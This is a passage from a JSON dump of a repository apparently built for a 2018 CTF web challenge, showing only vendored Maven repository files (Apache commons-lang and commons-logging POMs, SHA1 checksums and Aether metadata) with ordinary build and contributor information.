Kalley</name>\n        </contributor>\n        <contributor>\n            <name>Tetsuya Kaneuchi</name>\n        </contributor>\n        <contributor>\n            <name>Nissim Karpenstein</name>\n        </contributor>\n        <contributor>\n            <name>Ed Korthof</name>\n        </contributor>\n        <contributor>\n            <name>Holger Krauth</name>\n        </contributor>\n        <contributor>\n            <name>Rafal Krupinski</name>\n        </contributor>\n        <contributor>\n            <name>Rafal Krzewski</name>\n        </contributor>\n        <contributor>\n            <name>Craig R. McClanahan</name>\n        </contributor>\n        <contributor>\n            <name>Rand McNeely</name>\n        </contributor>\n        <contributor>\n            <name>Dave Meikle</name>\n        </contributor>\n        <contributor>\n            <name>Nikolay Metchev</name>\n        </contributor>\n        <contributor>\n            <name>Kasper Nielsen</name>\n        </contributor>\n        <contributor>\n            <name>Tim O'Brien</name>\n        </contributor>\n        <contributor>\n            <name>Brian S O'Neill</name>\n        </contributor>\n        <contributor>\n            <name>Andrew C. Oliver</name>\n        </contributor>\n        <contributor>\n            <name>Alban Peignier</name>\n        </contributor>\n        <contributor>\n            <name>Moritz Petersen</name>\n        </contributor>\n        <contributor>\n            <name>Dmitri Plotnikov</name>\n        </contributor>\n        <contributor>\n            <name>Neeme Praks</name>\n        </contributor>\n        <contributor>\n            <name>Eric Pugh</name>\n        </contributor>\n        <contributor>\n            <name>Stephen Putman</name>\n        </contributor>\n        <contributor>\n            <name>Travis Reeder</name>\n        </contributor>\n        <contributor>\n            <name>Antony Riley</name>\n        </contributor>\n        <contributor>\n            <name>Scott Sanders</name>\n        </contributor>\n        <contributor>\n            <name>Ralph Schaer</name>\n        </contributor>\n        <contributor>\n            <name>Henning P. Schmiedehausen</name>\n        </contributor>\n        <contributor>\n            <name>Sean Schofield</name>\n        </contributor>\n        <contributor>\n            <name>Reuben Sivan</name>\n        </contributor>\n        <contributor>\n            <name>Ville Skytta</name>\n        </contributor>\n        <contributor>\n            <name>Jan Sorensen</name>\n        </contributor>\n        <contributor>\n            <name>Glen Stampoultzis</name>\n        </contributor>\n        <contributor>\n            <name>Scott Stanchfield</name>\n        </contributor>\n        <contributor>\n            <name>Jon S. Stevens</name>\n        </contributor>\n        <contributor>\n            <name>Sean C. Sullivan</name>\n        </contributor>\n        <contributor>\n            <name>Ashwin Suresh</name>\n        </contributor>\n        <contributor>\n            <name>Helge Tesgaard</name>\n        </contributor>\n        <contributor>\n            <name>Arun Mammen Thomas</name>\n        </contributor>\n        <contributor>\n            <name>Masato Tezuka</name>\n        </contributor>\n        <contributor>\n            <name>Jeff Varszegi</name>\n        </contributor>\n        <contributor>\n            <name>Chris Webb</name>\n        </contributor>\n        <contributor>\n            <name>Mario Winterer</name>\n        </contributor>\n        <contributor>\n            <name>Stepan Koltsov</name>\n        </contributor>\n        <contributor>\n            <name>Holger Hoffstatte</name>\n        </contributor>\n    </contributors>\n\n  <!-- Lang should depend on very little -->\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies> \n\n  <properties>\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.2</maven.compile.target>\n    <commons.componentid>lang</commons.componentid>\n    <commons.release.version>2.4</commons.release.version>\n    <commons.jira.id>LANG</commons.jira.id>\n    <commons.jira.pid>12310481</commons.jira.pid>\n  </properties> \n\n\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*TestSuite.java</include>\n          </includes>\n          <excludes>\n            <exclude>**/AllLangTestSuite.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/bin.xml</descriptor>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.1</version>\n        <configuration>\n          <configLocation>${basedir}/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n        </configuration>\n      </plugin>\n      <!--\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>1.1.1</version>\n        <configuration>\n          <threshold>Normal</threshold>\n          <effort>Default</effort>\n       </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      -->\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.1.1</version>\n        <configuration>\n          <comparisonVersion>2.3</comparisonVersion>\n          <minSeverity>info</minSeverity>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.4/commons-lang-2.4.pom.sha1",
    "content": "dadd4b8eb8f55df27c1e7f9083cb8223bd3e357e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\ncommons-lang-2.5.jar>central=\ncommons-lang-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/commons-lang-2.5.jar.sha1",
    "content": "b0236b252e86419eef20c31a44579d2aee2f0a69"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/commons-lang-2.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>12</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-lang</groupId>\n  <artifactId>commons-lang</artifactId>\n  <version>2.5</version>\n  <name>Commons Lang</name>\n\n  <inceptionYear>2001</inceptionYear>\n    <description>\n        Commons Lang, a package of Java utility classes for the\n        classes that are in java.lang's hierarchy, or are considered to be so\n        standard as to justify existence in java.lang.\n    </description>\n\n  <url>http://commons.apache.org/lang/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/LANG</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/lang/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/lang/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/lang/trunk</url>\n  </scm>\n\n    <developers>\n        <developer>\n            <name>Daniel Rall</name>\n            <id>dlr</id>\n            <email>dlr@finemaltcoding.com</email>\n            <organization>CollabNet, Inc.</organization>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Stephen Colebourne</name>\n            <id>scolebourne</id>\n            <email>scolebourne@joda.org</email>\n            <organization>SITA ATS Ltd</organization>\n            <timezone>0</timezone>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Henri Yandell</name>\n            <id>bayard</id>\n            <email>bayard@apache.org</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Steven Caswell</name>\n            <id>scaswell</id>\n            <email>stevencaswell@apache.org</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <name>Robert Burrell Donkin</name>\n            <id>rdonkin</id>\n            <email>rdonkin@apache.org</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Gary D. Gregory</name>\n            <id>ggregory</id>\n            <email>ggregory@seagullsw.com</email>\n            <organization>Seagull Software</organization>\n            <timezone>-8</timezone>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Phil Steitz</name>\n            <id>psteitz</id>\n            <email>phil@steitz.com</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Fredrik Westermarck</name>\n            <id>fredrik</id>\n            <email/>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>James Carman</name>\n            <id>jcarman</id>\n            <email>jcarman@apache.org</email>\n            <organization>Carman Consulting, Inc.</organization>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Niall Pemberton</name>\n            <id>niallp</id>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Matt Benson</name>\n            <id>mbenson</id>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Joerg Schaible</name>\n            <id>joehni</id>\n            <email>joerg.schaible@gmx.de</email>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n            <timezone>+1</timezone>\n        </developer>\n        <developer>\n          <name>Oliver Heger</name>\n          <id>oheger</id>\n          <email>oheger@apache.org</email>\n          <timezone>+1</timezone>\n          <roles>\n            <role>Java Developer</role>\n          </roles>\n        </developer>\n        <developer>\n          <name>Paul Benedict</name>\n          <id>pbenedict</id>\n          <email>pbenedict@apache.org</email>\n          <roles>\n            <role>Java Developer</role>\n          </roles>\n        </developer>\n    </developers>\n    <contributors>\n        <contributor>\n            <name>C. Scott Ananian</name>\n        </contributor>\n        <contributor>\n            <name>Chris Audley</name>\n        </contributor>\n        <contributor>\n            <name>Stephane Bailliez</name>\n        </contributor>\n        <contributor>\n            <name>Michael Becke</name>\n        </contributor>\n        <contributor>\n            <name>Benjamin Bentmann</name>\n        </contributor>\n        <contributor>\n            <name>Ola Berg</name>\n        </contributor>\n        <contributor>\n            <name>Nathan Beyer</name>\n        </contributor>\n        <contributor>\n            <name>Stefan Bodewig</name>\n        </contributor>\n        <contributor>\n            <name>Janek Bogucki</name>\n        </contributor>\n        <contributor>\n            <name>Mike Bowler</name>\n        </contributor>\n        <contributor>\n            <name>Sean Brown</name>\n        </contributor>\n        <contributor>\n            <name>Alexander Day Chaffee</name>\n        </contributor>\n        <contributor>\n            <name>Al Chou</name>\n        </contributor>\n        <contributor>\n            <name>Greg Coladonato</name>\n        </contributor>\n        <contributor>\n            <name>Maarten Coene</name>\n        </contributor>\n        <contributor>\n            <name>Justin Couch</name>\n        </contributor>\n        <contributor>\n            <name>Michael Davey</name>\n        </contributor>\n        <contributor>\n            <name>Norm Deane</name>\n        </contributor>\n        <contributor>\n            <name>Ringo De Smet</name>\n        </contributor>\n        <contributor>\n            <name>Russel Dittmar</name>\n        </contributor>\n        <contributor>\n            <name>Steve Downey</name>\n        </contributor>\n        <contributor>\n            <name>Matthias Eichel</name>\n        </contributor>\n        <contributor>\n            <name>Christopher Elkins</name>\n        </contributor>\n        <contributor>\n            <name>Chris Feldhacker</name>\n        </contributor>\n        <contributor>\n            <name>Pete Gieser</name>\n        </contributor>\n        <contributor>\n            <name>Jason Gritman</name>\n        </contributor>\n        <contributor>\n            <name>Matthew Hawthorne</name>\n        </contributor>\n        <contributor>\n            <name>Michael Heuer</name>\n        </contributor>\n        <contributor>\n            <name>Chris Hyzer</name>\n        </contributor>\n        <contributor>\n            <name>Marc Johnson</name>\n        </contributor>\n        <contributor>\n            <name>Shaun Kalley</name>\n        </contributor>\n        <contributor>\n            <name>Tetsuya Kaneuchi</name>\n        </contributor>\n        <contributor>\n            <name>Nissim Karpenstein</name>\n        </contributor>\n        <contributor>\n            <name>Ed Korthof</name>\n        </contributor>\n        <contributor>\n            <name>Holger Krauth</name>\n        </contributor>\n        <contributor>\n            <name>Rafal Krupinski</name>\n        </contributor>\n        <contributor>\n            <name>Rafal Krzewski</name>\n        </contributor>\n        <contributor>\n            <name>Craig R. McClanahan</name>\n        </contributor>\n        <contributor>\n            <name>Rand McNeely</name>\n        </contributor>\n        <contributor>\n            <name>Hendrik Maryns</name>\n        </contributor>\n        <contributor>\n            <name>Dave Meikle</name>\n        </contributor>\n        <contributor>\n            <name>Nikolay Metchev</name>\n        </contributor>\n        <contributor>\n            <name>Kasper Nielsen</name>\n        </contributor>\n        <contributor>\n            <name>Tim O'Brien</name>\n        </contributor>\n        <contributor>\n            <name>Brian S O'Neill</name>\n        </contributor>\n        <contributor>\n            <name>Andrew C. Oliver</name>\n        </contributor>\n        <contributor>\n            <name>Alban Peignier</name>\n        </contributor>\n        <contributor>\n            <name>Moritz Petersen</name>\n        </contributor>\n        <contributor>\n            <name>Dmitri Plotnikov</name>\n        </contributor>\n        <contributor>\n            <name>Neeme Praks</name>\n        </contributor>\n        <contributor>\n            <name>Eric Pugh</name>\n        </contributor>\n        <contributor>\n            <name>Stephen Putman</name>\n        </contributor>\n        <contributor>\n            <name>Travis Reeder</name>\n        </contributor>\n        <contributor>\n            <name>Antony Riley</name>\n        </contributor>\n        <contributor>\n            <name>Scott Sanders</name>\n        </contributor>\n        <contributor>\n            <name>Ralph Schaer</name>\n        </contributor>\n        <contributor>\n            <name>Henning P. Schmiedehausen</name>\n        </contributor>\n        <contributor>\n            <name>Sean Schofield</name>\n        </contributor>\n        <contributor>\n            <name>Robert Scholte</name>\n        </contributor>\n        <contributor>\n            <name>Reuben Sivan</name>\n        </contributor>\n        <contributor>\n            <name>Ville Skytta</name>\n        </contributor>\n        <contributor>\n            <name>Jan Sorensen</name>\n        </contributor>\n        <contributor>\n            <name>Glen Stampoultzis</name>\n        </contributor>\n        <contributor>\n            <name>Scott Stanchfield</name>\n        </contributor>\n        <contributor>\n            <name>Jon S. Stevens</name>\n        </contributor>\n        <contributor>\n            <name>Sean C. Sullivan</name>\n        </contributor>\n        <contributor>\n            <name>Ashwin Suresh</name>\n        </contributor>\n        <contributor>\n            <name>Helge Tesgaard</name>\n        </contributor>\n        <contributor>\n            <name>Arun Mammen Thomas</name>\n        </contributor>\n        <contributor>\n            <name>Masato Tezuka</name>\n        </contributor>\n        <contributor>\n            <name>Jeff Varszegi</name>\n        </contributor>\n        <contributor>\n            <name>Chris Webb</name>\n        </contributor>\n        <contributor>\n            <name>Mario Winterer</name>\n        </contributor>\n        <contributor>\n            <name>Stepan Koltsov</name>\n        </contributor>\n        <contributor>\n            <name>Holger Hoffstatte</name>\n        </contributor>\n        <contributor>\n            <name>Derek C. Ashmore</name>\n        </contributor>\n    </contributors>\n\n  <!-- Lang should depend on very little -->\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies> \n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n    <commons.componentid>lang</commons.componentid>\n    <commons.release.version>2.5</commons.release.version>\n    <commons.jira.id>LANG</commons.jira.id>\n    <commons.jira.pid>12310481</commons.jira.pid>\n    <random.exclude.test>**/RandomUtilsFreqTest.java</random.exclude.test>\n  </properties> \n\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*Test.java</include>\n          </includes>\n          <excludes>\n            <exclude>**/EntitiesPerformanceTest.java</exclude>\n            <exclude>${random.exclude.test}</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/bin.xml</descriptor>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n      <!--\n        RandomUtils frequency tests have been put in a separate test case which\n        is only run when using this profile because it fails too frequently.\n        See https://issues.apache.org/jira/browse/LANG-592\n        -->\n      <profile>\n        <id>test-random-freq</id>\n        <properties>\n          <random.exclude.test/>\n        </properties> \n        <build>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-surefire-plugin</artifactId>\n              <configuration>\n                <includes>\n                  <include>**/RandomUtilsFreqTest.java</include>\n                </includes>\n              </configuration>\n            </plugin>\n          </plugins>\n        </build>\n      </profile>\n  </profiles>\n\n  <reporting>\n    <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <xmlPath>${basedir}/src/site/changes/changes.xml</xmlPath>\n            <issueLinkTemplate>%URL%/%ISSUE%</issueLinkTemplate>\n          </configuration>\n          <reportSets>\n            <reportSet>\n              <reports>\n                 <report>changes-report</report>\n              </reports>\n            </reportSet>\n          </reportSets>\n        </plugin>\n      <plugin>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <configLocation>${basedir}/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n        </configuration>\n      </plugin>\n      <!--\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>1.2</version>\n        <configuration>\n          <threshold>Normal</threshold>\n          <effort>Default</effort>\n       </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.3</version>\n      </plugin>\n      -->\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.2.2</version>\n        <configuration>\n          <comparisonVersion>2.4</comparisonVersion>\n          <minSeverity>info</minSeverity>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/commons-lang-2.5.pom.sha1",
    "content": "4fca8db5890f26627b09ab48d8888256ccb38dbb"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:27 CST 2018\ncommons-logging-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0/commons-logging-1.0.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging</artifactId>\n  <version>1.0</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0/commons-logging-1.0.pom.sha1",
    "content": "4f58df6cca7ad7b863e8186e5dc25a8ef502e374  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.0/commons-logging-1.0.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:16 CST 2018\ncommons-logging-1.0.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging</artifactId>\n  <name>Logging</name>\n  <version>1.0.3</version>\n  <description>Commons Logging</description>\n  <url>http://jakarta.apache.org/commons/logging/</url>\n  <inceptionYear>2001</inceptionYear>\n  <build />\n  <dependencies>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.6</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>1.0.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.7</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom.sha1",
    "content": "b7de43bb310eb1dbfd00a34cec30500fa13cb577  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:35 CST 2018\ncommons-logging-1.0.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.4/commons-logging-1.0.4.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging</artifactId>\n  <name>Logging</name>\n  <version>1.0.4</version>\n  <description>Commons Logging is a thin adapter allowing configurable bridging to other,\n    well known logging systems.</description>\n  <url>http://jakarta.apache.org/commons/logging/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/bugzilla/</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>commons-dev@jakarta.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email>morgand at apache dot org</email>\n      <organization>Apache</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>donaldp</id>\n      <name>Peter Donald</name>\n      <email>donaldp at apache dot org</email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>costin</id>\n      <name>Costin Manolache</name>\n      <email>costin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rsitze</id>\n      <name>Richard Sitze</name>\n      <email>rsitze at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>baliuka</id>\n      <name>Juozas Baliuka</name>\n      <email>baliuka@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:cvs:pserver:anoncvs@cvs.apache.org:/home/cvspublic:jakarta-commons/logging</connection>\n    <url>http://cvs.apache.org/viewcvs/jakarta-commons/logging/</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/AvalonLoggerTest.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.6</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>1.0.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.7</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>avalon-framework</groupId>\n      <artifactId>avalon-framework</artifactId>\n      <version>4.1.3</version>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/logging/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://jakarta.apache.org//www/jakarta.apache.org/commons/logging/</url>\n    </site>\n  </distributionManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.4/commons-logging-1.0.4.pom.sha1",
    "content": "7d32e7520b801cabc3dc704d2afe59d020d00c45  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.0.4/commons-logging-1.0.4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:18 CST 2018\ncommons-logging-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1/commons-logging-1.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging</artifactId>\n  <name>Logging</name>\n  <version>1.1</version>\n  <description>Commons Logging is a thin adapter allowing configurable bridging to other,\n    well known logging systems.</description>\n  <url>http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/bugzilla/</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>commons-dev@jakarta.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email>morgand at apache dot org</email>\n      <organization>Apache</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc at apache org</email>\n      <organization>Apache Software Foundation</organization>\n  